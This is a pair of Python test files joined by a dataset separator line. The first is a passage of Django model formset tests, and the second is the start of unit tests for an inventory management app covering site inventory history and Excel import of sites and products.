self.assertEqual(len(formset.forms), 1) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_ownerprofile-0-age">Age:</label> <input type="number" name="ownerprofile-0-age" id="id_ownerprofile-0-age" min="0" /><input type="hidden" name="ownerprofile-0-owner" value="%d" id="id_ownerprofile-0-owner" /></p>' % owner1.auto_id) data = { 'ownerprofile-TOTAL_FORMS': '1', 'ownerprofile-INITIAL_FORMS': '0', 'ownerprofile-MAX_NUM_FORMS': '1', 'ownerprofile-0-owner': '', 'ownerprofile-0-age': '54', } formset = FormSet(data, instance=owner1) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) profile1, = saved self.assertEqual(profile1.owner, owner1) self.assertEqual(profile1.age, 54) formset = FormSet(instance=owner1) self.assertEqual(len(formset.forms), 1) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_ownerprofile-0-age">Age:</label> <input type="number" name="ownerprofile-0-age" value="54" id="id_ownerprofile-0-age" min="0" /><input type="hidden" name="ownerprofile-0-owner" value="%d" id="id_ownerprofile-0-owner" /></p>' % owner1.auto_id) data = { 'ownerprofile-TOTAL_FORMS': '1', 'ownerprofile-INITIAL_FORMS': '1', 'ownerprofile-MAX_NUM_FORMS': '1', 'ownerprofile-0-owner': six.text_type(owner1.auto_id), 'ownerprofile-0-age': '55', } formset = FormSet(data, instance=owner1) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) profile1, = saved self.assertEqual(profile1.owner, owner1) self.assertEqual(profile1.age, 55) def test_unique_true_enforces_max_num_one(self): # ForeignKey with unique=True should enforce max_num=1 place = Place.objects.create(pk=1, name='Giordanos', city='Chicago') FormSet = inlineformset_factory(Place, Location, can_delete=False, fields="__all__") self.assertEqual(FormSet.max_num, 1) formset = FormSet(instance=place) self.assertEqual(len(formset.forms), 1) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_location_set-0-lat">Lat:</label> <input id="id_location_set-0-lat" type="text" name="location_set-0-lat" maxlength="100" /></p>\n' '<p><label for="id_location_set-0-lon">Lon:</label> <input id="id_location_set-0-lon" type="text" name="location_set-0-lon" maxlength="100" /><input type="hidden" name="location_set-0-place" value="1" id="id_location_set-0-place" /><input type="hidden" name="location_set-0-id" id="id_location_set-0-id" /></p>') def test_foreign_keys_in_parents(self): self.assertEqual(type(_get_foreign_key(Restaurant, Owner)), models.ForeignKey) self.assertEqual(type(_get_foreign_key(MexicanRestaurant, Owner)), models.ForeignKey) def test_unique_validation(self): FormSet = modelformset_factory(Product, fields="__all__", extra=1) data = { 'form-TOTAL_FORMS': '1', 'form-INITIAL_FORMS': '0', 'form-MAX_NUM_FORMS': '', 'form-0-slug': 'car-red', } formset = FormSet(data) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) product1, = saved self.assertEqual(product1.slug, 'car-red') data = { 'form-TOTAL_FORMS': '1', 'form-INITIAL_FORMS': '0', 'form-MAX_NUM_FORMS': '', 'form-0-slug': 'car-red', } formset = FormSet(data) self.assertFalse(formset.is_valid()) self.assertEqual(formset.errors, [{'slug': ['Product with this Slug already exists.']}]) def test_modelformset_validate_max_flag(self): # If validate_max is set and max_num is less than TOTAL_FORMS in the # data, then throw an exception. MAX_NUM_FORMS in the data is # irrelevant here (it's output as a hint for the client but its # value in the returned data is not checked) data = { 'form-TOTAL_FORMS': '2', 'form-INITIAL_FORMS': '0', 'form-MAX_NUM_FORMS': '2', # should be ignored 'form-0-price': '12.00', 'form-0-quantity': '1', 'form-1-price': '24.00', 'form-1-quantity': '2', } FormSet = modelformset_factory(Price, fields="__all__", extra=1, max_num=1, validate_max=True) formset = FormSet(data) self.assertFalse(formset.is_valid()) self.assertEqual(formset.non_form_errors(), ['Please submit 1 or fewer forms.']) # Now test the same thing without the validate_max flag to ensure # default behavior is unchanged FormSet = modelformset_factory(Price, fields="__all__", extra=1, max_num=1) formset = FormSet(data) self.assertTrue(formset.is_valid()) def test_unique_together_validation(self): FormSet = modelformset_factory(Price, fields="__all__", extra=1) data = { 'form-TOTAL_FORMS': '1', 'form-INITIAL_FORMS': '0', 'form-MAX_NUM_FORMS': '', 'form-0-price': '12.00', 'form-0-quantity': '1', } formset = FormSet(data) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) price1, = saved self.assertEqual(price1.price, Decimal('12.00')) self.assertEqual(price1.quantity, 1) data = { 'form-TOTAL_FORMS': '1', 'form-INITIAL_FORMS': '0', 'form-MAX_NUM_FORMS': '', 'form-0-price': '12.00', 'form-0-quantity': '1', } formset = FormSet(data) self.assertFalse(formset.is_valid()) self.assertEqual(formset.errors, [{'__all__': ['Price with this Price and Quantity already exists.']}]) def test_unique_together_with_inlineformset_factory(self): # Also see bug #8882. repository = Repository.objects.create(name='Test Repo') FormSet = inlineformset_factory(Repository, Revision, extra=1, fields="__all__") data = { 'revision_set-TOTAL_FORMS': '1', 'revision_set-INITIAL_FORMS': '0', 'revision_set-MAX_NUM_FORMS': '', 'revision_set-0-repository': repository.pk, 'revision_set-0-revision': '146239817507f148d448db38840db7c3cbf47c76', 'revision_set-0-DELETE': '', } formset = FormSet(data, instance=repository) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) revision1, = saved self.assertEqual(revision1.repository, repository) self.assertEqual(revision1.revision, '146239817507f148d448db38840db7c3cbf47c76') # attempt to save the same revision against against the same repo. data = { 'revision_set-TOTAL_FORMS': '1', 'revision_set-INITIAL_FORMS': '0', 'revision_set-MAX_NUM_FORMS': '', 'revision_set-0-repository': repository.pk, 'revision_set-0-revision': '146239817507f148d448db38840db7c3cbf47c76', 'revision_set-0-DELETE': '', } formset = FormSet(data, instance=repository) self.assertFalse(formset.is_valid()) self.assertEqual(formset.errors, [{'__all__': ['Revision with this Repository and Revision already exists.']}]) # unique_together with inlineformset_factory with overridden form fields # Also see #9494 FormSet = inlineformset_factory(Repository, Revision, fields=('revision',), extra=1) data = { 'revision_set-TOTAL_FORMS': '1', 'revision_set-INITIAL_FORMS': '0', 'revision_set-MAX_NUM_FORMS': '', 'revision_set-0-repository': repository.pk, 'revision_set-0-revision': '146239817507f148d448db38840db7c3cbf47c76', 'revision_set-0-DELETE': '', } formset = FormSet(data, instance=repository) self.assertFalse(formset.is_valid()) def test_callable_defaults(self): # Use of callable defaults (see bug #7975). person = Person.objects.create(name='Ringo') FormSet = inlineformset_factory(Person, Membership, can_delete=False, extra=1, fields="__all__") formset = FormSet(instance=person) # Django will render a hidden field for model fields that have a callable # default. This is required to ensure the value is tested for change correctly # when determine what extra forms have changed to save. self.assertEqual(len(formset.forms), 1) # this formset only has one form form = formset.forms[0] now = form.fields['date_joined'].initial() result = form.as_p() result = re.sub(r'\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}(?:\.\d+)?', '__DATETIME__', result) self.assertHTMLEqual(result, '<p><label for="id_membership_set-0-date_joined">Date joined:</label> <input type="text" name="membership_set-0-date_joined" value="__DATETIME__" id="id_membership_set-0-date_joined" /><input type="hidden" name="initial-membership_set-0-date_joined" value="__DATETIME__" id="initial-membership_set-0-id_membership_set-0-date_joined" /></p>\n' '<p><label for="id_membership_set-0-karma">Karma:</label> <input type="number" name="membership_set-0-karma" id="id_membership_set-0-karma" /><input type="hidden" name="membership_set-0-person" value="%d" id="id_membership_set-0-person" /><input type="hidden" name="membership_set-0-id" id="id_membership_set-0-id" /></p>' % person.id) # test for validation with callable defaults. Validations rely on hidden fields data = { 'membership_set-TOTAL_FORMS': '1', 'membership_set-INITIAL_FORMS': '0', 'membership_set-MAX_NUM_FORMS': '', 'membership_set-0-date_joined': six.text_type(now.strftime('%Y-%m-%d %H:%M:%S')), 'initial-membership_set-0-date_joined': six.text_type(now.strftime('%Y-%m-%d %H:%M:%S')), 'membership_set-0-karma': '', } formset = FormSet(data, instance=person) self.assertTrue(formset.is_valid()) # now test for when the data changes one_day_later = now + datetime.timedelta(days=1) filled_data = { 'membership_set-TOTAL_FORMS': '1', 'membership_set-INITIAL_FORMS': '0', 'membership_set-MAX_NUM_FORMS': '', 'membership_set-0-date_joined': six.text_type(one_day_later.strftime('%Y-%m-%d %H:%M:%S')), 'initial-membership_set-0-date_joined': six.text_type(now.strftime('%Y-%m-%d %H:%M:%S')), 'membership_set-0-karma': '', } formset = FormSet(filled_data, instance=person) self.assertFalse(formset.is_valid()) # now test with split datetime fields class MembershipForm(forms.ModelForm): date_joined = forms.SplitDateTimeField(initial=now) class Meta: model = Membership fields = "__all__" def __init__(self, **kwargs): super(MembershipForm, self).__init__(**kwargs) self.fields['date_joined'].widget = forms.SplitDateTimeWidget() FormSet = inlineformset_factory(Person, Membership, form=MembershipForm, can_delete=False, extra=1, fields="__all__") data = { 'membership_set-TOTAL_FORMS': '1', 'membership_set-INITIAL_FORMS': '0', 'membership_set-MAX_NUM_FORMS': '', 'membership_set-0-date_joined_0': six.text_type(now.strftime('%Y-%m-%d')), 'membership_set-0-date_joined_1': six.text_type(now.strftime('%H:%M:%S')), 'initial-membership_set-0-date_joined': six.text_type(now.strftime('%Y-%m-%d %H:%M:%S')), 'membership_set-0-karma': '', } formset = FormSet(data, instance=person) self.assertTrue(formset.is_valid()) def test_inlineformset_factory_with_null_fk(self): # inlineformset_factory tests with fk having null=True. see #9462. # create some data that will exbit the issue team = Team.objects.create(name="Red Vipers") Player(name="Timmy").save() Player(name="Bobby", team=team).save() PlayerInlineFormSet = inlineformset_factory(Team, Player, fields="__all__") formset = PlayerInlineFormSet() self.assertQuerysetEqual(formset.get_queryset(), []) formset = PlayerInlineFormSet(instance=team) players = formset.get_queryset() self.assertEqual(len(players), 1) player1, = players self.assertEqual(player1.team, team) self.assertEqual(player1.name, 'Bobby') def test_model_formset_with_custom_pk(self): # a formset for a Model that has a custom primary key that still needs to be # added to the formset automatically FormSet = modelformset_factory(ClassyMexicanRestaurant, fields=["tacos_are_yummy"]) self.assertEqual(sorted(FormSet().forms[0].fields.keys()), ['restaurant', 'tacos_are_yummy']) def test_model_formset_with_initial_model_instance(self): # has_changed should compare model instance and primary key # see #18898 FormSet = modelformset_factory(Poem, fields='__all__') john_milton = Poet(name="John Milton") john_milton.save() data = { 'form-TOTAL_FORMS': 1, 'form-INITIAL_FORMS': 0, 'form-MAX_NUM_FORMS': '', 'form-0-name': '', 'form-0-poet': str(john_milton.id), } formset = FormSet(initial=[{'poet': john_milton}], data=data) self.assertFalse(formset.extra_forms[0].has_changed()) def test_model_formset_with_initial_queryset(self): # has_changed should work with queryset and list of pk's # see #18898 FormSet = modelformset_factory(AuthorMeeting, fields='__all__') Author.objects.create(pk=1, name='Charles Baudelaire') data = { 'form-TOTAL_FORMS': 1, 'form-INITIAL_FORMS': 0, 'form-MAX_NUM_FORMS': '', 'form-0-name': '', 'form-0-created': '', 'form-0-authors': list(Author.objects.values_list('id', flat=True)), } formset = FormSet(initial=[{'authors': Author.objects.all()}], data=data) self.assertFalse(formset.extra_forms[0].has_changed()) def test_prevent_duplicates_from_with_the_same_formset(self): FormSet = modelformset_factory(Product, fields="__all__", extra=2) data = { 'form-TOTAL_FORMS': 2, 'form-INITIAL_FORMS': 0, 'form-MAX_NUM_FORMS': '', 'form-0-slug': 'red_car', 'form-1-slug': 'red_car', } formset = FormSet(data) self.assertFalse(formset.is_valid()) self.assertEqual(formset._non_form_errors, ['Please correct the duplicate data for slug.']) FormSet = modelformset_factory(Price, fields="__all__", extra=2) data = { 'form-TOTAL_FORMS': 2, 'form-INITIAL_FORMS': 0, 'form-MAX_NUM_FORMS': '', 'form-0-price': '25', 'form-0-quantity': '7', 'form-1-price': '25', 'form-1-quantity': '7', } formset = FormSet(data) self.assertFalse(formset.is_valid()) self.assertEqual(formset._non_form_errors, ['Please correct the duplicate data for price and quantity, which must be unique.']) # Only the price field is specified, this should skip any unique checks since # the unique_together is not fulfilled. This will fail with a KeyError if broken. FormSet = modelformset_factory(Price, fields=("price",), extra=2) data = { 'form-TOTAL_FORMS': '2', 'form-INITIAL_FORMS': '0', 'form-MAX_NUM_FORMS': '', 'form-0-price': '24', 'form-1-price': '24', } formset = FormSet(data) self.assertTrue(formset.is_valid()) FormSet = inlineformset_factory(Author, Book, extra=0, fields="__all__") author = Author.objects.create(pk=1, name='Charles Baudelaire') Book.objects.create(pk=1, author=author, title='Les Paradis Artificiels') Book.objects.create(pk=2, author=author, title='Les Fleurs du Mal') Book.objects.create(pk=3, author=author, title='Flowers of Evil') book_ids = author.book_set.order_by('id').values_list('id', flat=True) data = { 'book_set-TOTAL_FORMS': '2', 'book_set-INITIAL_FORMS': '2', 'book_set-MAX_NUM_FORMS': '', 'book_set-0-title': 'The 2008 Election', 'book_set-0-author': str(author.id), 'book_set-0-id': str(book_ids[0]), 'book_set-1-title': 'The 2008 Election', 'book_set-1-author': str(author.id), 'book_set-1-id': str(book_ids[1]), } formset = FormSet(data=data, instance=author) self.assertFalse(formset.is_valid()) self.assertEqual(formset._non_form_errors, ['Please correct the duplicate data for title.']) self.assertEqual(formset.errors, [{}, {'__all__': ['Please correct the duplicate values below.']}]) FormSet = modelformset_factory(Post, fields="__all__", extra=2) data = { 'form-TOTAL_FORMS': '2', 'form-INITIAL_FORMS': '0', 'form-MAX_NUM_FORMS': '', 'form-0-title': 'blah', 'form-0-slug': 'Morning', 'form-0-subtitle': 'foo', 'form-0-posted': '2009-01-01', 'form-1-title': 'blah', 'form-1-slug': 'Morning in Prague', 'form-1-subtitle': 'rawr', 'form-1-posted': '2009-01-01' } formset = FormSet(data) self.assertFalse(formset.is_valid()) self.assertEqual(formset._non_form_errors, ['Please correct the duplicate data for title which must be unique for the date in posted.']) self.assertEqual(formset.errors, [{}, {'__all__': ['Please correct the duplicate values below.']}]) data = { 'form-TOTAL_FORMS': '2', 'form-INITIAL_FORMS': '0', 'form-MAX_NUM_FORMS': '', 'form-0-title': 'foo', 'form-0-slug': 'Morning in Prague', 'form-0-subtitle': 'foo', 'form-0-posted': '2009-01-01', 'form-1-title': 'blah', 'form-1-slug': 'Morning in Prague', 'form-1-subtitle': 'rawr', 'form-1-posted': '2009-08-02' } formset = FormSet(data) self.assertFalse(formset.is_valid()) self.assertEqual(formset._non_form_errors, ['Please correct the duplicate data for slug which must be unique for the year in posted.']) data = { 'form-TOTAL_FORMS': '2', 'form-INITIAL_FORMS': '0', 'form-MAX_NUM_FORMS': '', 'form-0-title': 'foo', 'form-0-slug': 'Morning in Prague', 'form-0-subtitle': 'rawr', 'form-0-posted': '2008-08-01', 'form-1-title': 'blah', 'form-1-slug': 'Prague', 'form-1-subtitle': 'rawr', 'form-1-posted': '2009-08-02' } formset = FormSet(data) self.assertFalse(formset.is_valid()) self.assertEqual(formset._non_form_errors, ['Please correct the duplicate data for subtitle which must be unique for the month in posted.']) class TestModelFormsetOverridesTroughFormMeta(TestCase): def test_modelformset_factory_widgets(self): widgets = { 'name': forms.TextInput(attrs={'class': 'poet'}) } PoetFormSet = modelformset_factory(Poet, fields="__all__", widgets=widgets) form = PoetFormSet.form() self.assertHTMLEqual( "%s" % form['name'], '<input id="id_name" maxlength="100" type="text" class="poet" name="name" />' ) def test_inlineformset_factory_widgets(self): widgets = { 'title': forms.TextInput(attrs={'class': 'book'}) } BookFormSet = inlineformset_factory(Author, Book, widgets=widgets, fields="__all__") form = BookFormSet.form() self.assertHTMLEqual( "%s" % form['title'], '<input class="book" id="id_title" maxlength="100" name="title" type="text" />' ) def test_modelformset_factory_labels_overrides(self): BookFormSet = modelformset_factory(Book, fields="__all__", labels={ 'title': 'Name' }) form = BookFormSet.form() self.assertHTMLEqual(form['title'].label_tag(), '<label for="id_title">Name:</label>') def test_inlineformset_factory_labels_overrides(self): BookFormSet = inlineformset_factory(Author, Book, fields="__all__", labels={ 'title': 'Name' }) form = BookFormSet.form() self.assertHTMLEqual(form['title'].label_tag(), '<label for="id_title">Name:</label>') def test_modelformset_factory_help_text_overrides(self): BookFormSet = modelformset_factory(Book, fields="__all__", help_texts={ 'title': 'Choose carefully.' }) form = BookFormSet.form() self.assertEqual(form['title'].help_text, 'Choose carefully.') def test_inlineformset_factory_help_text_overrides(self): BookFormSet = inlineformset_factory(Author, Book, fields="__all__", help_texts={ 'title': 'Choose carefully.' }) form = BookFormSet.form() self.assertEqual(form['title'].help_text, 'Choose carefully.') def test_modelformset_factory_error_messages_overrides(self): author = Author.objects.create(pk=1, name='Charles Baudelaire') BookFormSet = modelformset_factory(Book, fields="__all__", error_messages={ 'title': { 'max_length': 'Title too long!!' } }) form = BookFormSet.form(data={'title': 'Foo ' * 30, 'author': author.id}) form.full_clean() self.assertEqual(form.errors, {'title': ['Title too long!!']}) def test_inlineformset_factory_error_messages_overrides(self): author = Author.objects.create(pk=1, name='Charles Baudelaire') BookFormSet = inlineformset_factory(Author, Book, fields="__all__", error_messages={ 'title': { 'max_length': 'Title too long!!' } }) form = BookFormSet.form(data={'title': 'Foo ' * 30, 'author': author.id}) form.full_clean() self.assertEqual(form.errors, {'title': ['Title too long!!']})
codeparrot/github-code-clean
from django.test import TestCase, RequestFactory from unittest import skip from django.core.urlresolvers import reverse from django.contrib.auth.models import User, Permission from django.contrib.sessions.middleware import SessionMiddleware from collections import OrderedDict from urllib import urlencode from django.utils import timezone from datetime import timedelta import os import StringIO import re import logging from ims.models import Site, ProductInformation, InventoryItem, ProductCategory from ims.views import (inventory_delete_all, site_delete_all, product_delete_all, site_delete, product_delete, product_add, site_add, site_detail, site_add_inventory, products_add_to_site_inventory, product_detail, product_select_add_site) from ims.settings import PAGE_SIZE, APP_DIR import zipfile logging.disable(logging.CRITICAL) # test helper functions def create_inventory_item_for_site(site=None, product=None, quantity=1, deleted=0, modifier='none'): if not site: site=Site(name="test site 1", modifier=modifier) site.save() if not product: product=ProductInformation(name="test product 1", code="pdt1", modifier=modifier,) product.save() inventoryItem=site.add_inventory(product=product, quantity=quantity, deleted=deleted, modifier=modifier,) return site, product, inventoryItem def create_products_with_inventory_items_for_sites(numSites=1, numProducts=1, numItems=1, modifier='none', uniqueCategories=False): sitesList=[] productList=[] inventoryItemList=[] categoryList=[] for s in range(numSites): siteName="test site "+str(s+1) site=Site(name=siteName,) site.save() sitesList.append(site) for p in range(numProducts): productName="test product "+str(p+1) productCode="pdt"+str(p+1) if uniqueCategories: categoryName="category-" + str(p+1) else: categoryName="category-1" category, created = ProductCategory.objects.get_or_create(category = categoryName) if created: category.save() categoryList.append(category) product, created=ProductInformation.objects.get_or_create(name=productName, code=productCode, category=category) if created: product.save() productList.append(product) for i in range(numItems): # increment the quantity for each addition of a new item for # the same product code, so we can distinguish them site,product,inventoryItem=create_inventory_item_for_site( site=site, product=product, quantity=i+1, deleted=0, modifier=modifier) inventoryItemList.append(inventoryItem) return sitesList,productList,inventoryItemList,categoryList def get_announcement_from_response(response=None, cls=None): if response and cls: m=re.search(('^.*<div\s*id="announcement".*?<p.*?class="' + cls + '">\s*<i .*?</i>\s*<i .*?</i>\s*(.*?)\s*</p>.*?</div>'), response.content, re.S) if m and len(m.groups()) > 0: return m.groups()[0].replace('\n','') return '' def add_session_to_request(request): """Annotate a request object with a session""" middleware = SessionMiddleware() middleware.process_request(request) request.session.save() class SiteMethodTests(TestCase): """ ims_tests for Site instance methods """ #Site inventory ims_tests def test_latest_inventory_after_initial_creation(self): """ site.latest_inventory should only return the latest change """ print 'running SiteMethodTests.test_latest_inventory_after_initial_creation... ' (createdSites, __, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) #latest_inventory is a queryset of all the most recent changes to the #site's inventory. latestInventory=[] for site in createdSites: latestInventory += site.latest_inventory() sortedCreatedInventory=[] for site in createdSites: for item in site.inventoryitem_set.all(): sortedCreatedInventory.append(item.create_key()) sortedCreatedInventory.sort() sortedLatestInventory=[] for item in latestInventory: sortedLatestInventory.append(item.create_key()) # make sure we return only one thing, since we only added one thing self.assertListEqual(sortedLatestInventory, sortedCreatedInventory, 'created inventory in database doesn''t match created inventory') def test_latest_inventory_after_deletion(self): """ site.latest_inventory should only return the latest change, and should not return any deleted items """ print 'running SiteMethodTests.test_latest_inventory_after_deletion... ' (createdSites, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) # indicate that the just added item is deleted create_inventory_item_for_site(site=createdSites[0], product=createdProducts[0], deleted=1) #latest_inventory is a queryset of all the most recent changes to the #site's inventory latestInventory=createdSites[0].latest_inventory() # latest_inventory is a queryset of all the most recent changes to the # site's inventory. Check that a deleted item doesn't show up in # inventory with self.assertRaises(InventoryItem.DoesNotExist): latestInventory.get(information_id=createdProducts[0].pk) def test_latest_inventory_after_3_quantity_change(self): """ site.latest_inventory should only return the latest change """ print 'running SiteMethodTests.test_latest_inventory_after_3_quantity_change... ' (createdSites, createdProducts, createdInventoryItems, createdCategories)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=3) # latest_inventory is a queryset of all the most recent changes to the # site's inventory. latestInventory=createdSites[0].latest_inventory() # check that the inventoryItem that we just added # and then changed several times has the appropriate final quantity self.assertEqual(latestInventory.get( information_id=createdProducts[0].pk).create_key(), createdInventoryItems.pop().create_key()) self.assertEqual(latestInventory.get( information_id=createdProducts[0].pk).information.category.pk, createdCategories.pop().pk) def test_latest_inventory_after_3_quantity_change_and_deletion(self): """ site.latest_inventory should only return the latest change and not return any deleted items. """ print 'running SiteMethodTests.test_latest_inventory_after_3_quantity_change_and_deletion... ' (createdSites, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=3) # indicate that the just added item is deleted create_inventory_item_for_site(site=createdSites[0], product=createdProducts[0], deleted=1) #latest_inventory is a queryset of all the most recent changes to the #site's inventory latestInventory=createdSites[0].latest_inventory() # Check that a deleted InventoryItem doesn't show up # in inventory with self.assertRaises(InventoryItem.DoesNotExist): latestInventory.get(information_id=createdProducts[0].pk) def test_inventory_set_after_3_changes(self): """ InventoryItem history of changes should be retained in the database """ print 'running SiteMethodTests.test_inventory_set_after_3_changes... ' (createdSites, __, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=3) self.assertEqual(createdSites[0].inventoryitem_set.all().count(),3) def test_latest_inventory_after_deletion_and_re_addition(self): """ site.latest_inventory should only return the latest change and not return any deleted items. If an item is deleted and then re-added, we should always see the last change """ print 'running SiteMethodTests.test_latest_inventory_after_deletion_and_re_addition... ' (createdSites, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) # indicate that the just added item is deleted create_inventory_item_for_site(site=createdSites[0], product=createdProducts[0], deleted=1) #latest_inventory is a queryset of all the most recent changes to the #site's inventory (__, __, lastItemChange)=create_inventory_item_for_site( site=createdSites[0], product=createdProducts[0], quantity=100) # latest_inventory is a queryset of all the most recent changes to the # site's inventory. latestInventory=createdSites[0].latest_inventory() # Check that we still have inventory after a deletion # and re-addition self.assertEqual( latestInventory.get( information_id=createdProducts[0].pk).create_key(), lastItemChange.create_key()) def test_latest_inventory_3_products_after_3_changes(self): """ site.latest_inventory should only return the latest changes """ print 'running SiteMethodTests.test_latest_inventory_3_products_after_3_changes... ' (createdSites, createdProducts, createdInventoryItems, createdCategories)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=3, numItems=3, uniqueCategories=False, ) # latest_inventory is a queryset of all the most recent changes to the # site's inventory. latestInventory=createdSites[0].latest_inventory() self.assertEqual( latestInventory.get(information_id=createdProducts[0].pk).create_key(), createdInventoryItems[3*1-1].create_key()) self.assertEqual( latestInventory.get(information_id=createdProducts[1].pk).create_key(), createdInventoryItems[3*2-1].create_key()) self.assertEqual( latestInventory.get(information_id=createdProducts[2].pk).create_key(), createdInventoryItems[3*3-1].create_key()) self.assertEqual( latestInventory.get(information_id=createdProducts[0].pk).information.category.pk, createdCategories.pop().pk) def test_parse_sites_from_xls_initial(self): """ import 3 sites from Excel """ print 'running SiteMethodTests.test_parse_sites_from_xls_initial... ' filename=os.path.join(APP_DIR, 'testData/sites_add_site1_site2_site3.xls') importedSites,__=Site.parse_sites_from_xls(filename=filename, modifier='none', save=True) self.assertNotEqual(importedSites, None, 'Failure to import sites from excel') queriedSites=Site.objects.all() # check that we saved 3 sites self.assertEqual( queriedSites.count(), 3, 'Number of imported sites mismatch. Some sites didn''t get stored.') # check that the site modifiers are correctly stored sortedImportedSites=[] for site in importedSites: sortedImportedSites.append(site.create_key()) sortedImportedSites.sort() sortedQueriedSites=[] for site in queriedSites: sortedQueriedSites.append(site.create_key()) sortedQueriedSites.sort() self.assertListEqual(sortedImportedSites, sortedQueriedSites, 'Imported sites don''t match the stored sites') def test_parse_sites_from_xls_with_dups(self): """ import 3 sites from Excel, plus one duplicate site """ print 'running SiteMethodTests.test_parse_sites_from_xls_with_dups... ' filename=os.path.join(APP_DIR, 'testData/sites_add_site1_site2_site3_site3.xls') importedSites,__=Site.parse_sites_from_xls(filename=filename, modifier='none', save=True) self.assertNotEqual(importedSites, None, 'Failure to import sites from excel') queriedSites=Site.objects.all() # check that we only saved 3 sites self.assertEqual( queriedSites.count(), 3, 'You stored a duplicate site as a separate entity.') def test_parse_sites_from_xls_with_bad_header(self): """ import 3 sites from Excel but use a file with invalid headers """ print 'running SiteMethodTests.test_parse_sites_from_xls_with_bad_header... ' filename=os.path.join(APP_DIR, 'testData/products_add_prod1_prod2_prod3.xls') __, siteMessage=Site.parse_sites_from_xls(filename=filename, modifier='none', save=True) self.assert_( 'Xlrdutils' in siteMessage, ('Failure to recognize a file with bad headers.\nSite.parse_sites_from_xls returned: %s' % siteMessage)) def test_import_parse_from_xls_with_bad_date(self): """ import 3 sites from Excel but use a file with a bad date format """ print 'running SiteMethodTests.test_parse_sites_from_xls_with_bad_date... ' filename=os.path.join( APP_DIR, 'testData/sites_add_site1_site2_site3_bad_date.xls') __, siteMessage=Site.parse_sites_from_xls(filename=filename, modifier='none', save=True) self.assert_('Xlrdutils' in siteMessage, ('Failure to recognize a file with bad date format.\nSite.parse_sites_from_xls returned: %s' % siteMessage)) def test_parse_sites_from_xls_unicode(self): print 'running SiteMethodTests.test_parse_sites_from_xls_unicode... ' filename=os.path.join(APP_DIR, 'testData/sites_add_site1_unicode.xls') try: (__, siteMessage) = Site.parse_sites_from_xls(filename=filename, modifier='none', save=True) except UnicodeEncodeError as e: self.fail("Import of spreadsheet containing unicode caused UnicodeEncodeError: %s" % e) self.assertEqual(siteMessage, '', ('Import of spreadsheet containing unicode generated warnings %s' % siteMessage)) class ProductInformationMethodTests(TestCase): """ ProductInformation class method ims_tests """ def test_num_sites_containing_with_3_sites(self): print 'running ProductInformationMethodTests.test_num_sites_containing_with_3_sites... ' (__, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=3, numProducts=1, numItems=1) product = createdProducts[0] self.assertEqual(product.num_sites_containing(), 3) def test_num_sites_containing_with_3_sites_after_inventory_change(self): print 'running ProductInformationMethodTests.test_num_sites_containing_with_3_sites_after_inventory_change... ' (__, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=3, numProducts=1, numItems=2) product = createdProducts[0] self.assertEqual(product.num_sites_containing(), 3) def test_parse_product_information_from_xls_initial(self): """ import 3 products from Excel """ print 'running ProductInformationMethodTests.test_parse_product_information_from_xls_initial... ' filename=os.path.join(APP_DIR, 'testData/products_add_prod1_prod2_prod3.xls') (importedProducts, __)=ProductInformation.parse_product_information_from_xls( filename=filename, modifier='none', save=True) self.assertNotEqual(importedProducts, None, 'Failure to import products from Excel') queriedProducts=ProductInformation.objects.all() # check that we saved 3 sites self.assertEqual(queriedProducts.count(), 3, 'Number of imported products mismatch. \ Some product didn''t get stored.') # check that the product modifiers are correctly stored sortedImportedProducts=[] for product in importedProducts: sortedImportedProducts.append(product.create_key()) sortedImportedProducts.sort() sortedQueriedProducts=[] for product in queriedProducts: sortedQueriedProducts.append(product.create_key()) sortedQueriedProducts.sort() self.assertListEqual(sortedImportedProducts, sortedQueriedProducts) def test_parse_product_information_from_xls_with_dups(self): """ import 3 products from Excel, plus one duplicate product """ print 'running ProductInformationMethodTests.test_parse_product_information_from_xls_with_dups... ' filename=os.path.join(APP_DIR, 'testData/products_add_prod1_prod2_prod3_prod3.xls') (importedProducts, __)=ProductInformation.parse_product_information_from_xls( filename=filename, modifier='none', save=True) self.assertNotEqual(importedProducts, None, 'Failure to import products from excel') queriedProducts=ProductInformation.objects.all() # check that we only saved 3 products self.assertTrue( queriedProducts.count() < 4, 'You stored a duplicate product as a separate entity.') def test_parse_product_information_from_xls_with_bad_header(self): """ import 3 products from Excel but use a file with invalid headers """ print 'running ProductInformationMethodTests.test_parse_product_information_from_xls_with_bad_header... ' filename=os.path.join(APP_DIR, 'testData/sites_add_site1_site2_site3.xls') (__, productMessage)=ProductInformation.parse_product_information_from_xls( filename=filename, modifier='none', save=True) self.assert_( 'Xlrdutils' in productMessage, ('Failure to recognize a file with bad headers.\nProductInformation.parse_product_information_from_xls returned: %s' % productMessage)) def test_parse_product_information_from_xls_with_bad_date(self): """ import 3 products from Excel but use a file with a bad date format """ print 'running ProductInformationMethodTests.test_parse_product_information_from_xls_with_bad_date... ' filename=os.path.join( APP_DIR, 'testData/products_add_prod1_prod2_prod3_bad_date.xls') (__, productMessage)=ProductInformation.parse_product_information_from_xls( filename=filename, modifier='none', save=True) self.assert_('Xlrdutils' in productMessage, ('Failure to recognize a file with bad date format.\nProductInformation.parse_product_information_from_xls returned: %s' % productMessage)) def test_parse_product_information_from_xls_with_unicode(self): print 'running ProductInformationMethodTests.test_parse_product_information_from_xls_with_unicode... ' filename=os.path.join( APP_DIR, 'testData/products_add_prod1_unicode.xls') try: (__, 